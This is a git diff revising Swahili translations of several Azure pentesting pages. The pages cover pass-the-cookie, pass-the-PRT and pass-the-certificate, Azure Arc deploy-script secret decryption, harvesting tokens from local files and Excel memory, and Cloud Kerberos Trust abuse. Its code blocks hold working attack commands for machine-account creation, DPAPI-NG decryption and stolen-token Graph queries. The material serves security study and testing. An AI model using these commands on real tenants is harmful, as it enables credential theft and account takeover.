@@ -28,12 +28,12 @@ Kuna njia tofauti ambazo mashine zinaweza kuunganishwa na wingu: Katika Azure AD, kuna aina tofauti za tokens zenye mipaka maalum: -- **Access tokens**: Zinatumika kupata APIs na rasilimali kama Microsoft Graph. Zimefungwa kwa mteja na rasilimali maalum. +- **Access tokens**: Zinatumika kupata APIs na rasilimali kama Microsoft Graph. Zimefungwa kwa mteja maalum na rasilimali. - **Refresh tokens**: Zinatolewa kwa programu ili kupata access tokens mpya. Zinapaswa kutumiwa tu na programu ambazo zilitolewa au kundi la programu. -- **Primary Refresh Tokens (PRT)**: Zinatumika kwa Usajili wa Moja kwa Moja kwenye vifaa vilivyojiunga na Azure AD, vilivyosajiliwa, au vilivyojiunga kwa mchanganyiko. Zinatumika katika michakato ya kuingia kwenye kivinjari na kwa kuingia kwenye programu za simu na desktop kwenye kifaa. -- **Windows Hello for Business keys (WHFB)**: Zinatumika kwa uthibitisho bila nenosiri. Zinatumika kupata Primary Refresh Tokens. +- **Primary Refresh Tokens (PRT)**: Zinatumika kwa Usajili wa Moja kwa Moja kwenye vifaa vilivyojiunga na Azure AD, vilivyosajiliwa, au vilivyojiunga kwa njia ya mchanganyiko. Zinatumika katika michakato ya kuingia kwenye kivinjari na kwa kuingia kwenye programu za simu na kompyuta kwenye kifaa. +- **Windows Hello for Business keys (WHFB)**: Zinatumika kwa uthibitisho bila nywila. Zinatumika kupata Primary Refresh Tokens. -Aina ya token inayovutia zaidi ni Primary Refresh Token (PRT). +Aina ya kipekee ya token ni Primary Refresh Token (PRT). {{#ref}} az-primary-refresh-token-prt.md @@ -41,10 +41,10 @@ az-primary-refresh-token-prt.md ### Mbinu za Pivoting -Kutoka kwenye **mashine iliyoathiriwa hadi wingu**: +Kutoka kwenye **mashine iliyovunjwa hadi wingu**: - [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua cookies za Azure kutoka kwenye kivinjari na uzitumie kuingia -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump kumbukumbu za michakato ya ndani iliyo sambamba na wingu (kama excel, Teams...) na pata access tokens kwa maandiko wazi. +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump kumbukumbu za michakato ya ndani iliyosawazishwa na wingu (kama excel, Teams...) na pata access tokens kwa maandiko wazi. - [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish PRT ili kuikandamiza - [**Pass the PRT**](pass-the-prt.md): Nyakua PRT ya kifaa ili kupata Azure kwa kujifanya kuwa hicho kifaa. - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Tengeneza cheti kulingana na PRT ili kuingia kutoka mashine moja hadi nyingine @@ -58,7 +58,7 @@ Kutoka kwenye kuathiri **AD** hadi kuathiri **Wingu** na kutoka kwenye kuathiri Zana hii inaruhusu kufanya vitendo kadhaa kama kujiandikisha mashine katika Azure AD ili kupata PRT, na kutumia PRTs (halali au zilizonyakuliwa) kupata rasilimali kwa njia tofauti. Hizi si mashambulizi ya moja kwa moja, lakini inarahisisha matumizi ya PRTs kupata rasilimali kwa njia tofauti. Pata maelezo zaidi katika [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## Marejeo +## Marejeleo - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e2875f1af..237082189 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Kutambua Masuala -Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye kikoa) ndani ya Azure Arc kwa kutumia mbinu ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana ya kutekeleza inayohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1. +Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye eneo) ndani ya Azure Arc kwa kutumia njia ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana za usambazaji zinazohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1. Wakati inatekelezwa, skripti ya DeployGPO.ps1 inafanya hatua zifuatazo: -1. Inaunda Azure Arc Servers Onboarding GPO ndani ya kikoa cha ndani. -2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya kusakinisha ya Windows. +1. Inaunda Azure Arc Servers Onboarding GPO ndani ya eneo la ndani. +2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina kifurushi cha installer cha Windows. -Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu hiyo, na jina la sehemu hiyo. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zipewe skripti. +Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile eneo, FQDN ya seva inayohifadhi sehemu, na jina la sehemu. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zipewe skripti. -Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Kikoa na Kundi la Wakala wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Vikundi vya Usalama vya Wakala wa Kikoa na Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti. +Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Eneo na Kundi la Watawala wa Eneo, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Watawala wa Eneo na vikundi vya usalama vya Kompyuta za Eneo, kama ilivyotajwa katika maoni ya skripti. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -26,16 +26,16 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe Tuna masharti yafuatayo: -1. Tumefanikiwa kuingia kwenye mtandao wa ndani. +1. Tumepenya kwa mafanikio kwenye mtandao wa ndani. 2. Tuna uwezo wa kuunda au kudhibiti akaunti ya kompyuta ndani ya Active Directory. 3. Tumegundua sehemu ya mtandao inayoshikilia saraka ya AzureArcDeploy. -Kuna njia kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya njia maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs dhaifu au mipangilio mingine mbalimbali isiyo sahihi. +Kuna mbinu kadhaa za kupata akaunti ya mashine ndani ya mazingira ya AD. Moja ya mbinu maarufu ni kutumia quota ya akaunti ya mashine. Njia nyingine inahusisha kuathiri akaunti ya mashine kupitia ACLs zenye udhaifu au mipangilio mingine mbalimbali isiyo sahihi. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -Mara tu akaunti ya mashine imepatikana, inawezekana kuthibitisha kwa kutumia akaunti hii. Tunaweza ama kutumia amri ya runas.exe na bendera ya netonly au kutumia pass-the-ticket na Rubeus.exe. +Mara tu akaunti ya mashine inapopatikana, inawezekana kuthibitisha kwa kutumia akaunti hii. Tunaweza ama kutumia amri ya runas.exe na bendera ya netonly au kutumia pass-the-ticket na Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -52,11 +52,11 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` -Alternately, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +Mbali na hayo, tunaweza kutumia [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili la ArcInfo.json, ambalo limehifadhiwa kwenye sehemu ile ile ya mtandao kama faili la encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Pamoja na taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama huduma ya msingi iliyovunjika. +Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili ya ArcInfo.json, ambayo imehifadhiwa kwenye sehemu ile ile ya mtandao kama faili ya encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Kwa kutumia taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama service principal iliyovunjwa. -## References +## Marejeleo - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 0c38c5a29..3301e35fe 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -6,23 +6,23 @@ ### Azure CLI (Interface ya Amri) -Token na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama: +Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, na kuleta wasiwasi wa usalama: 1. **Access Tokens**: Huhifadhiwa katika maandiko wazi ndani ya `accessTokens.json` iliyoko `C:\Users\\.Azure`. 2. **Taarifa za Usajili**: `azureProfile.json`, katika saraka hiyo hiyo, ina maelezo ya usajili. -3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akreditivu zilizofichuliwa, kama vile: -- Amri zilizotekelezwa zikiwa na akreditivu zilizojumuishwa. -- URLs zilizofikiwa kwa kutumia token, ambazo zinaweza kufichua taarifa nyeti. +3. **Faili za Kumbukumbu**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na kumbukumbu zenye akidi zilizofichuliwa, kama: +- Amri zilizotekelezwa zikiwa na akidi zilizojumuishwa. +- URLs zilizofikiwa kwa kutumia tokens, ambazo zinaweza kufichua taarifa nyeti. ### Azure PowerShell -Azure PowerShell pia huhifadhi token na data nyeti, ambazo zinaweza kufikiwa kwa ndani: +Azure PowerShell pia huhifadhi tokens na data nyeti, ambazo zinaweza kufikiwa kwa ndani: -1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\\.Azure`, huhifadhi token za ufikiaji katika maandiko wazi. -2. **Siri za Huduma Kuu**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`. -3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha token kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa. +1. **Access Tokens**: `TokenCache.dat`, iliyoko `C:\Users\\.Azure`, huhifadhi access tokens katika maandiko wazi. +2. **Siri za Huduma ya Kimsingi**: Hizi huhifadhiwa bila usimbaji katika `AzureRmContext.json`. +3. **Kipengele cha Kuhifadhi Token**: Watumiaji wana uwezo wa kudumisha tokens kwa kutumia amri ya `Save-AzContext`, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa. -## Zana za Otomatiki za Kuziokoa +## Zana za Otomatiki za kuzipata - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 26882cf7f..3b558e0b3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -9,26 +9,26 @@ Katika mashine zilizounganishwa na Azure, inawezekana kuthibitisha kutoka mashin Kwa maneno rahisi sana: - Mashine (mteja) inayozindua muunganisho **inahitaji cheti kutoka Azure AD kwa mtumiaji**. -- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo iliyotokana (kwa kutumia funguo ya kikao na muktadha wa usalama) na **kinituma kwa Azure AD** -- Azure AD inathibitisha saini ya JWT kwa kutumia funguo ya kikao cha mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**. +- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo Iliyotokana (kwa kutumia funguo za kikao na muktadha wa usalama) na **kinituma kwa Azure AD** +- Azure AD inathibitisha saini ya JWT kwa kutumia funguo za kikao za mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**. Katika hali hii na baada ya kupata taarifa zote zinazohitajika kwa [**Pass the PRT**](pass-the-prt.md) shambulio: - Jina la mtumiaji -- Kitambulisho cha mpangilio +- Kitambulisho cha Mpangilio - PRT -- Muktadha wa usalama -- Funguo iliyotokana +- Muktadha wa Usalama +- Funguo Iliyotokana -Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia chombo [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia zana [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Vithibitisho vitadumu sawa na PRT. Kutumia vithibitisho unaweza kutumia chombo cha python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambacho kitafanya **uthibitishaji** kwenye mashine ya mbali, kukimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine. +Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia zana ya python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambayo itafanya **uthibitishaji** kwenye mashine ya mbali, ikakimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` -## References +## Marejeleo - Kwa maelezo zaidi kuhusu jinsi Pass the Certificate inavyofanya kazi angalia chapisho asilia [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 9397d0c93..65fa2f221 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Kwa Nini Cookies? -Browser **cookies** ni mekanizma nzuri ya **kupita uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena. +Browser **cookies** ni mekanizma nzuri ya **kupita uthibitisho na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena. Unaweza kuona ambapo **cookies za kivinjari ziko** katika: @@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Shambulio -Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za kificho zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika: +Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords @@ -28,7 +28,7 @@ Kwa Azure, tunajali kuhusu kuki za uthibitishaji ikiwemo **`ESTSAUTH`**, **`ESTS Tu naviga kwenye login.microsoftonline.com na ongeza kuki **`ESTSAUTHPERSISTENT`** (iliyoundwa na chaguo la “Stay Signed In”) au **`ESTSAUTH`**. Na utathibitishwa. -## Marejeleo +## References - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a488377c1..7dd659354 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Angalia chapisho katika** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ingawa chapisho lingine linalofafanua sawa linaweza kupatikana katika [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Angalia posti katika** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ingawa posti nyingine inayofafanua sawa inaweza kupatikana katika [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index c45194f63..5244d3849 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,13 +4,13 @@ ## **Basic Information** -Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa alama za JWT** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA. +Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa JWT tokens** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA. Hatua: 1. Dondosha mchakato wa excel uliohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda. 2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata alama kadhaa katika matokeo -3. Pata alama ambazo zinakuvutia zaidi na endesha zana juu yao: +3. Pata alama zinazokuvutia zaidi na endesha zana juu yao: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Kumbuka kwamba aina hizi za access tokens zinaweza pia kupatikana ndani ya michakato mingine.** +**Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index a7f5406ed..d58cea304 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,15 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Huu ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Post hii ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** ## Taarifa za Msingi -### Kuaminiana +### Uaminifu -Wakati kuaminiana kunapoundwa na Azure AD, **Kituo cha Kichwa cha Kusoma tu (RODC) kinaundwa katika AD.** Akaunti ya **kompyuta ya RODC**, inayoitwa **`AzureADKerberos$`**. Pia, akaunti ya pili ya `krbtgt` inayoitwa **`krbtgt_AzureAD`**. Akaunti hii ina **funguo za Kerberos** zinazotumika kwa tiketi ambazo Azure AD inaunda. +Wakati uaminifu unapoanzishwa na Azure AD, **Kituo cha Kichwa cha Kituo cha Kichwa (RODC) kinaundwa katika AD.** Akaunti ya **kompyuta ya RODC**, inayoitwa **`AzureADKerberos$`**. Pia, akaunti ya pili ya `krbtgt` inayoitwa **`krbtgt_AzureAD`**. Akaunti hii ina **funguo za Kerberos** zinazotumika kwa tiketi ambazo Azure AD inaunda. -Hivyo, ikiwa akaunti hii itavunjwa inaweza kuwa inawezekana kujifanya kama mtumiaji yeyote... ingawa hii si kweli kwa sababu akaunti hii imezuia kuunda tiketi kwa kundi lolote la kawaida lenye mamlaka ya AD kama vile Domain Admins, Enterprise Admins, Administrators... +Hivyo, ikiwa akaunti hii itavunjwa inaweza kuwa na uwezo wa kujifanya kama mtumiaji yeyote... ingawa hii si kweli kwa sababu akaunti hii imezuia kuunda tiketi kwa kundi lolote la kawaida lenye mamlaka ya AD kama vile Domain Admins, Enterprise Admins, Administrators... > [!CAUTION] > Hata hivyo, katika hali halisi kutakuwa na watumiaji wenye mamlaka ambao hawako katika vikundi hivyo. Hivyo, **akaunti mpya ya krbtgt, ikiwa itavunjwa, inaweza kutumika kujifanya kama wao.** @@ -22,25 +22,25 @@ Windows inaweza kisha **kubadilisha TGT hii ya sehemu kwa TGT kamili** kwa kuomb ### NTLM -Kama kutakuwa na huduma ambazo hazisaidii uthibitishaji wa kerberos lakini NTLM, inawezekana kuomba **TGT ya sehemu iliyosainiwa kwa kutumia funguo ya pili ya `krbtgt`** ikiwa na **`KERB-KEY-LIST-REQ`** katika sehemu ya **PADATA** ya ombi na kisha kupata TGT kamili iliyosainiwa kwa funguo ya msingi ya `krbtgt` **ikiwa na hash ya NT katika jibu**. +Kama kutakuwa na huduma ambazo hazisaidii uthibitisho wa kerberos lakini NTLM, inawezekana kuomba **TGT ya sehemu iliyosainiwa kwa kutumia funguo ya pili ya `krbtgt`** ikiwa na **`KERB-KEY-LIST-REQ`** katika sehemu ya **PADATA** ya ombi na kisha kupata TGT kamili iliyosainiwa kwa funguo ya msingi ya `krbtgt` **ikiwa na hash ya NT katika jibu**. ## Kutumia Cloud Kerberos Trust kupata Domain Admin -Wakati AzureAD inaunda **TGT ya sehemu** itakuwa ikitumia maelezo iliyonayo kuhusu mtumiaji. Hivyo, ikiwa Msimamizi wa Kimataifa anaweza kubadilisha data kama **kitambulisho cha usalama na jina la mtumiaji katika AzureAD**, wakati wa kuomba TGT kwa mtumiaji huyo **kitambulisho cha usalama kitakuwa tofauti.** +Wakati AzureAD inaunda **TGT ya sehemu** itakuwa ikitumia maelezo iliyonayo kuhusu mtumiaji. Hivyo, ikiwa Msimamizi wa Global anaweza kubadilisha data kama **kitambulisho cha usalama na jina la mtumiaji katika AzureAD**, wakati wa kuomba TGT kwa mtumiaji huyo **kitambulisho cha usalama kitakuwa tofauti.** -Haiwezekani kufanya hivyo kupitia Microsoft Graph au Azure AD Graph, lakini inawezekana kutumia **API ambayo Active Directory Connect inatumia kuunda na kusasisha watumiaji waliounganishwa**, ambayo inaweza kutumika na Msimamizi wa Kimataifa kubadilisha **jina la SAM na SID ya mtumiaji yeyote wa mseto**, na kisha ikiwa tunaingia, tunapata TGT ya sehemu yenye SID iliyobadilishwa. +Haiwezekani kufanya hivyo kupitia Microsoft Graph au Azure AD Graph, lakini inawezekana kutumia **API ambayo Active Directory Connect inatumia kuunda na kusasisha watumiaji waliounganishwa**, ambayo inaweza kutumika na Msimamizi wa Global kubadilisha **jina la SAM na SID ya mtumiaji yeyote wa mseto**, na kisha ikiwa tunaandika, tunapata TGT ya sehemu yenye SID iliyobadilishwa. Kumbuka kwamba tunaweza kufanya hivi na AADInternals na kusasisha kwa watumiaji waliounganishwa kupitia cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). ### Masharti ya shambulio -Mafanikio ya shambulio na kupata mamlaka ya Domain Admin yanategemea kutimizwa kwa masharti fulani: +Mafanikio ya shambulio na kupata mamlaka ya Domain Admin yanategemea kukutana na masharti fulani: -- Uwezo wa kubadilisha akaunti kupitia API ya Usawazishaji ni muhimu. Hii inaweza kupatikana kwa kuwa na jukumu la Msimamizi wa Kimataifa au kuwa na akaunti ya usawazishaji ya AD Connect. Vinginevyo, jukumu la Msimamizi wa 